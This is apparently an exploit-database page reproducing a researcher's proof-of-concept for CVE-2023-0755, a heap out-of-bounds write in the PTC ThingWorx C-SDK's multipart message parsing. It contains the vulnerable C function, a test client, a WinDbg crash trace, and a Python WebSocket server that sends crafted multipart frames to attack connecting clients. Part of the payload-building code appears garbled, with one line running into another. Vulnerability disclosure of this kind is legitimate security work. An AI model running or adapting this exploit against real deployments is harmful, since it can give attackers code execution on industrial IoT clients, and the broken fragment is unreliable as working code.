| Reporter | Title | Published | Views | Family All 11 |
|---|---|---|---|---|
| CVE-2023-0755 | 24 Feb 202300:48 | – | circl | |
| PTC ThingWorx Edge输入验证错误漏洞 | 23 Feb 202300:00 | – | cnnvd | |
| CVE-2023-0755 | 23 Feb 202321:23 | – | cve | |
| CVE-2023-0755 | 23 Feb 202321:23 | – | cvelist | |
| EUVD-2023-12773 | 3 Oct 202520:07 | – | euvd | |
| PTC ThingWorx Edge | 27 Feb 202320:46 | – | ics | |
| CVE-2023-0755 | 23 Feb 202322:15 | – | nvd | |
| CVE-2023-0755 | 23 Feb 202322:15 | – | osv | |
| Input validation | 23 Feb 202322:15 | – | prion | |
| PT-2023-16504 · Softwarex · Softwarex | 23 Feb 202300:00 | – | ptsecurity |
#!/usr/bin/env python3
"""
PTC Thingworx C-SDK mulitpartMessageStoreEntry_Create Array Indexing Out-of-Bounds Write Remote Code Execution Vulnerability
IDS: SRC-2023-0002, CVE-2023-0755
Download: https://developer.thingworx.com/-/media/developerportal/SDK_Files/C-SDK-2_2_12.zip
Found by: Chris Anastasio and Steven Seeley of Incite Team
# Summary:
An array indexing vulnerability exists in the parsing of multipart message responses. An attacker can leverage this to gain remote code execution against a vulnerable client in some contexts.
# Vulnerability Analysis:
Inside of the mulitpartMessageStoreEntry_Create function:
```c
mulitpartMessageStoreEntry * mulitpartMessageStoreEntry_Create(twMessage * msg) {
mulitpartMessageStoreEntry * tmp = (mulitpartMessageStoreEntry *)TW_CALLOC(sizeof(mulitpartMessageStoreEntry), 1);
twMultipartBody * mpBody = NULL;
TW_LOG(TW_TRACE, "mulitpartMessageStoreEntry_Create: Creating message store array.");
if (!msg || !msg->body) return NULL;
mpBody = (twMultipartBody *)msg->body;
/* Make sure the size of this message doesn't exceed our max size */
if (mpBody->chunkCount * mpBody->chunkSize > twcfg.max_message_size) {
TW_LOG(TW_ERROR,"mulitpartMessageStoreEntry_Create: Multipart message would exceed maximum message size");
return NULL;
}
/* We want to store the messages in an ordered array for easy reasembly */
tmp->msgs = (twMessage **)TW_CALLOC(sizeof(twMessage *) * mpBody->chunkCount, 1); // 1
if (!tmp->msgs) {
mulitpartMessageStoreEntry_Delete(tmp);
TW_LOG(TW_ERROR, "mulitpartMessageStoreEntry_Create: Error allocating message store array. request: %d", msg->requestId);
return NULL;
}
tmp->expirationTime = twGetSystemMillisecondCount() + twcfg.stale_msg_cleanup_rate;
tmp->id = msg->requestId;
tmp->chunksExpected = mpBody->chunkCount;
tmp->chunksReceived = 1;
tmp->msgs[mpBody->chunkId - 1] = msg; /* CHunk IDs are not zero based */ // 2
TW_LOG(TW_TRACE, "mulitpartMessageStoreEntry_Create: Created message store array with chunk %d of %d.", mpBody->chunkId, mpBody->chunkCount);
return tmp;
}
```
At [1] `tmp->msgs` is an allocation that is essentially controlled on size (0x20 * x, where x is a uint16). However, we can see at [2] that the `mpBody->chunkId` is another uint16 that is attacker controlled and is used to index an undersized array without checks during a write operation.
This can be leverage to write out of bounds on a heap buffer and gain remote code execution in some contexts.
# Proof of Concept:
The vulnerability was discovered in `KEPServerEX-6.11.718.0.exe` and later confirmed by crafting a vulnerable client using the provided C-SDK:
```c++
#define WIN32_LEAN_AND_MEAN
#include "twOSPort.h"
#include "twLogger.h"
#include "twApi.h"
#include "twFileManager.h"
#include "twTunnelManager.h"
#include#include#include#include#includeusing namespace std;
void appKeyCallback(char* appKeyBuffer, unsigned int maxLength) {
strcpy_s(appKeyBuffer, maxLength, "717c9dc1-7b0f-4624-b3b9-aab3db6bcce0");
}
inline void wait_on_enter()
{
std::string dummy;
std::cout << "Enter to continue..." << std::endl;
std::getline(std::cin, dummy);
}
int main(int argc, char* argv[])
{
HMODULE dll_1 = LoadLibraryA("libcrypto-1_1.dll");
HMODULE dll_2 = LoadLibraryA("libssl-1_1.dll");
char* host;
if (argc != 2) {
std::cout << "(+) usage: " << argv[0] << "";
exit(-1);
}
host = argv[1];
std::cout << "(+) targeting " << host << "!\n";
int err = 0;
wait_on_enter();
err = twApi_Initialize((char*)host, 8080, (char*)"/Thingworx/WS", appKeyCallback, (char*)"test", MESSAGE_CHUNK_SIZE, MESSAGE_CHUNK_SIZE, true);
if (err) {
std::cout << "(-) error initializing the API: " << GetLastError();
exit(err);
}
// disable compression and encryption so we can sniff traffic
twApi_DisableWebSocketCompression();
twApi_SetGatewayType("IndustrialGateway");
twApi_DisableEncryption();
// setup our connection with 1 try
err = twApi_Connect(1000, 1);
if (err) {
std::cout << "(-) connection failed! " << GetLastError() << "\n";
exit(-1);
}
std::cout << "(+) connection succeeded!\n";
}
```
## Debugging:
Don't forget to enable page heap
```
0:003> .reload /f /i twCSdk.dll
*** WARNING: Unable to verify checksum for C:\Users\steve\source\repos\Poc\Debug\twCSdk.dll
0:003> g
ModLoad: 73910000 73962000 C:\Windows\SysWOW64\mswsock.dll
ModLoad: 75d60000 75dbf000 C:\Windows\SysWOW64\bcryptprimitives.dll
(262c.2888): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00ed78d8 ebx=00a38000 ecx=00f03df0 edx=0000ffff esi=00dbf84c edi=00dbf890
eip=70706c52 esp=00dbf84c ebp=00dbf858 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
twCSdk!mulitpartMessageStoreEntry_Create+0x132:
70706c52 894491fc mov dword ptr [ecx+edx*4-4],eax ds:002b:00f43de8=????????
0:000> kv
# ChildEBP RetAddr Args to Child
00 00dbf858 707072f6 00ed78d8 00dbf8d4 cccccccc twCSdk!mulitpartMessageStoreEntry_Create+0x132 (FPO: [Non-Fpo]) (CONV: cdecl) [C:\Users\steve\Documents\c-sdk-2.2.12.1052-development\src\messaging\twMessages.c @ 1068]
01 00dbf890 70709ac6 00ed78d8 00dbf940 00dbf90c twCSdk!twMultipartMessageStore_AddMessage+0x426 (FPO: [Non-Fpo]) (CONV: cdecl) [C:\Users\steve\Documents\c-sdk-2.2.12.1052-development\src\messaging\twMessages.c @ 1206]
02 00dbf8d4 70708d67 00dbf8ec cccccccc 01cccccc twCSdk!handleMessage+0xc6 (FPO: [Non-Fpo]) (CONV: cdecl) [C:\Users\steve\Documents\c-sdk-2.2.12.1052-development\src\messaging\twMessaging.c @ 162]
03 00dbf8f8 706ea611 92f32a0c 0000017e 00dbf92b twCSdk!twMessageHandler_msgHandlerTask+0x207 (FPO: [Non-Fpo]) (CONV: cdecl) [C:\Users\steve\Documents\c-sdk-2.2.12.1052-development\src\messaging\twMessaging.c @ 359]
04 00dbf940 706ec65e 00dbf960 00002710 00000000 twCSdk!sendMessageBlocking+0x161 (FPO: [Non-Fpo]) (CONV: cdecl) [C:\Users\steve\Documents\c-sdk-2.2.12.1052-development\src\api\twApi.c @ 492]
05 00dbf96c 706e4b46 00dbf98c 00000000 00dbfa94 twCSdk!twApi_Authenticate+0xbe (FPO: [Non-Fpo]) (CONV: cdecl) [C:\Users\steve\Documents\c-sdk-2.2.12.1052-development\src\api\twApi.c @ 1526]
*** WARNING: Unable to verify checksum for C:\Users\steve\source\repos\Poc\Debug\Poc.exe
06 00dbf97c 00c26107 000003e8 00000001 00c21032 twCSdk!twApi_Connect+0x156 (FPO: [Non-Fpo]) (CONV: cdecl) [C:\Users\steve\Documents\c-sdk-2.2.12.1052-development\src\api\twApi.c @ 1567]
07 00dbfa94 00c26af3 00000002 00ec85b8 00ed3268 Poc!main+0x197 (FPO: [Non-Fpo]) (CONV: cdecl) [C:\Users\steve\source\repos\Poc\Poc\Poc.cpp @ 69]
08 00dbfab4 00c26947 6ddbfdec 00c21032 00c21032 Poc!invoke_main+0x33 (FPO: [Non-Fpo]) (CONV: cdecl) [d:\a01\_work\10\s\src\vctools\crt\vcstartup\src\startup\exe_common.inl @ 78]
09 00dbfb10 00c267dd 00dbfb20 00c26b78 00dbfb30 Poc!__scrt_common_main_seh+0x157 (FPO: [Non-Fpo]) (CONV: cdecl) [d:\a01\_work\10\s\src\vctools\crt\vcstartup\src\startup\exe_common.inl @ 288]
0a 00dbfb18 00c26b78 00dbfb30 752bfa29 00a38000 Poc!__scrt_common_main+0xd (FPO: [Non-Fpo]) (CONV: cdecl) [d:\a01\_work\10\s\src\vctools\crt\vcstartup\src\startup\exe_common.inl @ 331]
0b 00dbfb20 752bfa29 00a38000 752bfa10 00dbfb8c Poc!mainCRTStartup+0x8 (FPO: [Non-Fpo]) (CONV: cdecl) [d:\a01\_work\10\s\src\vctools\crt\vcstartup\src\startup\exe_main.cpp @ 17]
0c 00dbfb30 76ec7a9e 00a38000 ddc5aeee 00000000 KERNEL32!BaseThreadInitThunk+0x19 (FPO: [Non-Fpo])
0d 00dbfb8c 76ec7a6e ffffffff 76ee8a59 00000000 ntdll!__RtlUserThreadStart+0x2f (FPO: [SEH])
0e 00dbfb9c 00000000 00c21032 00a38000 00000000 ntdll!_RtlUserThreadStart+0x1b (FPO: [Non-Fpo])
```
"""
import socket
from base64 import b64encode
from hashlib import sha1
import struct
import re
HOST = '0.0.0.0'
PORT = 8080
FIN = 0x80
OPCODE = 0x0f
MASKED = 0x80
PAYLOAD_LEN = 0x7f
PAYLOAD_LEN_EXT16 = 0x7e
PAYLOAD_LEN_EXT64 = 0x7f
OPCODE_CONTINUATION = 0x0
OPCODE_TEXT = 0x1
OPCODE_BINARY = 0x2
OPCODE_CLOSE_CONN = 0x8
OPCODE_PING = 0x9
OPCODE_PONG = 0xA
#msgTypes
TW_MULTIPART_REQ = 0x05
# msgCodeEnum
TWX_PUT = 0x2
TWX_BIND = 0xa
TWX_SUCCESS = 0x40 # important for handler
# entityTypeEnum
TW_USERS = 0x32
# characteristicEnum
TW_PROPERTIES = 0x1
entityName = b"test"
def calculate_response_key(key):
GUID = '258EAFA5-E914-47DA-95CA-C5AB0DC85B11'
hash = sha1(key.encode() + GUID.encode())
response_key = b64encode(hash.digest()).strip()
return response_key.decode('ASCII')
def make_handshake_response(key):
return \
'HTTP/1.1 101\r\n'\
'X-Content-Type-Options: nosniff\r\n' \
'X-XSS-Protection: 1; mode=block\r\n' \
'Content-Security-Policy: frame-ancestors \'self\'\r\n' \
'X-Frame-Options: SAMEORIGIN\r\n' \
'Upgrade: websocket\r\n' \
'Connection: Upgrade\r\n' \
'Sec-WebSocket-Accept: %s\r\n' \
'\r\n' % calculate_response_key(key)
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.bind((HOST, PORT))
s.listen()
# keep attacking the server
while True:
conn, addr = s.accept()
with conn:
print('(+) connected by: ', addr)
while True:
data = conn.recv(1024)
#print(data)
if not data:
break
# handle upgrade request
if data.startswith(b"GET /Thingworx/WS"):
print("(+) sending upgrade response...")
match = re.search(b"Sec-WebSocket-Key: (.*)", data)
assert match, "(-) no Sec-WebSocket-Key found!"
key = match.group(1).rstrip()
conn.sendall(str.encode(make_handshake_response(key.decode())))
# handle binary request
if data.startswith(b"\x82") or data.startswith(b"\x8a"):
print("(+) sending exp response...")
"""
typedef struct twMessage {
enum msgType type;
unsigned char version;
enum msgCodeEnum code;
uint32_t requestId;
uint32_t endpointId;
uint32_t sessionId;
char multipartMarker;
uint32_t length;
void * body;
} twMessage;
"""
twMessage = b""
twMessage += struct.pack("H", 0x0001) # chunkCount
twMessage += struct.pack(">H", 0x0004) # chunkSize
twMessage += struct.pack("= 126 and payload_length <= 65535:
header.append(FIN | OPCODE_BINARY)
header.append(PAYLOAD_LEN_EXT16)
header.extend(struct.pack(">H", payload_length))
conn.sendall(header + twMessage)Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation